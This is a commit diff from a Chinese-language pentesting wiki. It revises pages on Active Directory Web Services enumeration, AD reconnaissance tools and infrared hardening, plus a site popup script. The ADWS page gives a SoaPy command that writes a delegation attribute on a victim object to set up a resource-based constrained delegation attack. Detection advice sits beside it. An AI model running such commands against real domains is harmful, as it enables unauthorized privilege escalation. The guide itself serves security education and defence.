* 在不需要时禁用或覆盖公共场所部署设备上的红外接收器。
* 强制智能电视和遥控器之间的*配对*或加密检查；隔离特权“服务”代码。
* 在机密区域周围部署红外切割滤光片或连续波探测器，以打破光学隐蔽通道。
* 监控暴露可控红外LED的摄像头/物联网设备的固件完整性。
## References
## 参考文献
- [Flipper Zero Infrared blog post](https://blog.flipperzero.one/infrared/)
- EvilScreen: Smart TV hijacking via remote control mimicry (arXiv 2210.03014)
- [Flipper Zero红外博客文章](https://blog.flipperzero.one/infrared/)
- EvilScreen：通过遥控器模仿劫持智能电视（arXiv 2210.03014）
{{#include ../../banners/hacktricks-training.md}}

8
src/windows-hardening/active-directory-methodology/adws-enumeration.md
View File

@ -11,14 +11,14 @@ Active Directory Web Services (ADWS) 是 **自 Windows Server 2008 R2 起在每
由于流量被封装在这些二进制 SOAP 帧中，并通过一个不常用的端口传输，**通过 ADWS 进行枚举的可能性远低于经典的 LDAP/389 和 636 流量被检查、过滤或签名**。对于操作员来说，这意味着：
* 更隐蔽的侦察 – 蓝队通常集中于 LDAP 查询。
* 通过 SOCKS 代理在 **非 Windows 主机（Linux, macOS）** 上隧道 9389/TCP 的自由收集。
* 通过 SOCKS 代理在 **非 Windows 主机（Linux、macOS）** 上收集的自由。
* 您可以通过 LDAP 获得的相同数据（用户、组、ACL、架构等），并能够执行 **写入**（例如 `msDs-AllowedToActOnBehalfOfOtherIdentity` 用于 **RBCD**）。
> 注意：ADWS 也被许多 RSAT GUI/PowerShell 工具使用，因此流量可能与合法的管理员活动混合。
## SoaPy – 原生 Python 客户端
[SoaPy](https://github.com/logangoins/soapy) 是 **用纯 Python 完全重新实现的 ADWS 协议栈**。它逐字节构建 NBFX/NBFSE/NNS/NMF 帧，允许从类 Unix 系统收集数据而不接触 .NET 运行时。
[SoaPy](https://github.com/logangoins/soapy) 是 **用纯 Python 完全重新实现的 ADWS 协议栈**。它逐字节构建 NBFX/NBFSE/NNS/NMF 帧，允许从类 Unix 系统收集数据，而无需接触 .NET 运行时。
### 主要特性
@ -64,7 +64,7 @@ soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
```
将其与 `s4u2proxy`/`Rubeus /getticket` 结合，以形成完整的 **基于资源的受限委派** 链。
将其与 `s4u2proxy`/`Rubeus /getticket` 结合，以形成完整的 **基于资源的受限委托** 链。
## 检测与加固
@ -82,7 +82,7 @@ New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters'
1. 创建一个虚拟对象（例如，禁用用户 `CanaryUser`）。
2. 为 _Everyone_ 主体添加一个 **Audit** ACE，审核 **ReadProperty**。
3. 每当攻击者执行 `(servicePrincipalName=*)`、`(objectClass=user)` 等操作时，DC 会发出 **Event 4662**，其中包含真实用户 SID——即使请求是代理的或源自 ADWS。
3. 每当攻击者执行 `(servicePrincipalName=*)`、`(objectClass=user)` 等时，DC 会发出 **Event 4662**，其中包含真实用户 SID——即使请求是通过代理或来自 ADWS。
Elastic 预构建规则示例：
```kql

18
src/windows-hardening/active-directory-methodology/bloodhound.md
View File

@ -6,7 +6,7 @@
adws-enumeration.md
{{#endref}}
> 注意：本页面汇集了一些最有用的工具，用于**枚举**和**可视化**Active Directory关系。有关通过隐秘的**Active Directory Web Services (ADWS)**通道进行收集，请查看上述参考。
> 注意：本页面汇集了一些最有用的工具，用于**枚举**和**可视化**Active Directory关系。有关通过隐蔽的**Active Directory Web Services (ADWS)**通道进行收集，请查看上述参考。
---
@ -14,21 +14,21 @@ adws-enumeration.md
[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) (Sysinternals) 是一个高级的**AD查看器和编辑器**，允许：
* 通过GUI浏览目录树
* 编辑对象属性和安全描述符
* 创建/比较快照以进行离线分析
* 目录树的GUI浏览
* 对象属性和安全描述符的编辑
* 快照创建/比较以进行离线分析
### 快速使用
1. 启动工具并使用任何域凭据连接到`dc01.corp.local`。
2. 通过`File ➜ Create Snapshot`创建离线快照。
3. 使用`File ➜ Compare`比较两个快照，以发现权限漂移。
1. 启动工具并使用任何域凭据连接到 `dc01.corp.local`。
2. 通过 `File ➜ Create Snapshot` 创建离线快照。
3. 使用 `File ➜ Compare` 比较两个快照以发现权限漂移。
---
## ADRecon
[ADRecon](https://github.com/adrecon/ADRecon) 从域中提取大量文物（ACLs、GPOs、信任、CA模板等），并生成**Excel报告**。
[ADRecon](https://github.com/adrecon/ADRecon) 从域中提取大量工件（ACLs、GPOs、信任、CA模板等），并生成**Excel报告**。
```powershell
# On a Windows host in the domain
PS C:\> .\ADRecon.ps1 -OutputDir C:\Temp\ADRecon
@ -71,7 +71,7 @@ Group3r.exe -f gpo.log # -s to stdout
## PingCastle
[PingCastle](https://www.pingcastle.com/documentation/) 执行 Active Directory 的 **健康检查** 并生成带有风险评分的 HTML 报告。
[PingCastle](https://www.pingcastle.com/documentation/) 对 Active Directory 进行 **健康检查** 并生成带有风险评分的 HTML 报告。
```powershell
PingCastle.exe --healthcheck --server corp.local --user bob --password "P@ssw0rd!"
```

24
theme/ai.js
View File

@ -1,6 +1,6 @@
/**
* HackTricks Training Discounts
*/
(() => {
@ -9,13 +9,13 @@
const TXT = 'Click here for HT Summer Discounts, Last Days!';
const URL = 'https://training.hacktricks.xyz';
/* Stop if user already dismissed */
// Stop if user already dismissed
if (localStorage.getItem(KEY) === 'true') return;
/* Quick helper */
// Quick helper
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
/* --- Overlay (blur + dim) --- */
// --- Overlay (blur + dim) ---
const overlay = $('div', `
position: fixed; inset: 0;
background: rgba(0,0,0,.4);
@ -24,7 +24,7 @@
z-index: 10000;
`);
/* --- Modal --- */
// --- Modal ---
const modal = $('div', `
max-width: 90vw; width: 480px;
background: #fff; border-radius: 12px; overflow: hidden;
@ -33,10 +33,10 @@
display: flex; flex-direction: column; align-items: stretch;
`);
/* --- Title bar (link + close) --- */
// --- Title bar (link + close) ---
const titleBar = $('div', `
position: relative;
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
padding: 1rem 2.5rem 1rem 1rem; // room for the close button
text-align: center;
background: #222; color: #fff;
font-size: 1.3rem; font-weight: 700;
@ -53,7 +53,7 @@
link.textContent = TXT;
titleBar.appendChild(link);
/* Close "X" (no persistence) */
// Close "X" (no persistence)
const closeBtn = $('button', `
position: absolute; top: .25rem; right: .5rem;
background: transparent; border: none;
@ -65,11 +65,11 @@
closeBtn.onclick = () => overlay.remove();
titleBar.appendChild(closeBtn);
/* --- Image --- */
// --- Image ---
const img = $('img');
img.src = IMG; img.alt = TXT; img.style.width = '100%';
/* --- Checkbox row --- */
// --- Checkbox row ---
const label = $('label', `
display: flex; align-items: center; justify-content: center; gap: .6rem;
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
@ -83,7 +83,7 @@
};
label.append(cb, document.createTextNode("Don't show again"));
/* --- Assemble & inject --- */
// --- Assemble & inject ---
modal.append(titleBar, img, label);
overlay.appendChild(modal);
@ -93,7 +93,7 @@
document.body.appendChild(overlay);
}
})();
*/
/**